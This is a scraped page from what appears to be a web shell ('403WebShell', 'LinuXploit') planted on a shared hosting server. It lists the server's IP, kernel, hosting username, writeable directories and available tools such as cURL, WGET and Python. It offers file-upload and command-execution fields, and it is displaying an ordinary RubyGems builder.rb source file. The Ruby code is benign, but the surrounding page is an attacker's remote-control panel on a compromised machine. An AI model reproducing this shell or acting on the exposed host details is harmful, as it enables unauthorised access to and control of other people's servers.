Failed to save the file to the "xx" directory.

Failed to save the file to the "ll" directory.

Failed to save the file to the "mm" directory.

Failed to save the file to the "wp" directory.

403WebShell
403Webshell
Server IP : 66.29.132.124  /  Your IP : 18.227.134.115
Web Server : LiteSpeed
System : Linux business141.web-hosting.com 4.18.0-553.lve.el8.x86_64 #1 SMP Mon May 27 15:27:34 UTC 2024 x86_64
User : wavevlvu ( 1524)
PHP Version : 7.4.33
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /opt/alt/ruby18/lib64/ruby/site_ruby/1.8/rubygems/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /opt/alt/ruby18/lib64/ruby/site_ruby/1.8/rubygems//builder.rb
#--
# Copyright 2006 by Chad Fowler, Rich Kilmer, Jim Weirich and others.
# All rights reserved.
# See LICENSE.txt for permissions.
#++

require 'rubygems'
require 'rubygems/user_interaction'

Gem.load_yaml

require 'rubygems/package'

##
# The Builder class processes RubyGem specification files
# to produce a .gem file.

class Gem::Builder

  include Gem::UserInteraction

  ##
  # Constructs a builder instance for the provided specification
  #
  # spec:: [Gem::Specification] The specification instance

  def initialize(spec)
    @spec = spec
  end

  ##
  # Builds the gem from the specification.  Returns the name of the file
  # written.

  def build(skip_validation=false)
    @spec.mark_version
    @spec.validate unless skip_validation
    @signer = sign
    write_package
    say success if Gem.configuration.verbose
    File.basename @spec.cache_file
  end

  def success
    <<-EOM
  Successfully built RubyGem
  Name: #{@spec.name}
  Version: #{@spec.version}
  File: #{File.basename @spec.cache_file}
EOM
  end

  private

  ##
  # If the signing key was specified, then load the file, and swap to the
  # public key (TODO: we should probably just omit the signing key in favor of
  # the signing certificate, but that's for the future, also the signature
  # algorithm should be configurable)

  def sign
    signer = nil

    if @spec.respond_to?(:signing_key) and @spec.signing_key then
      require 'rubygems/security'

      signer = Gem::Security::Signer.new @spec.signing_key, @spec.cert_chain
      @spec.signing_key = nil
      @spec.cert_chain = signer.cert_chain.map { |cert| cert.to_s }
    end

    signer
  end

  def write_package
    file_name = File.basename @spec.cache_file
    open file_name, 'wb' do |gem_io|
      Gem::Package.open gem_io, 'w', @signer do |pkg|
        yaml = @spec.to_yaml
        pkg.metadata = yaml

        @spec.files.each do |file|
          next if File.directory?(file)
          next if file == file_name # Don't add gem onto itself

          stat = File.stat(file)
          mode = stat.mode & 0777
          size = stat.size

          pkg.add_file_simple file, mode, size do |tar_io|
            tar_io.write open(file, "rb") { |f| f.read }
          end
        end
      end
    end
  end

end


Youez - 2016 - github.com/yon3zu
LinuXploit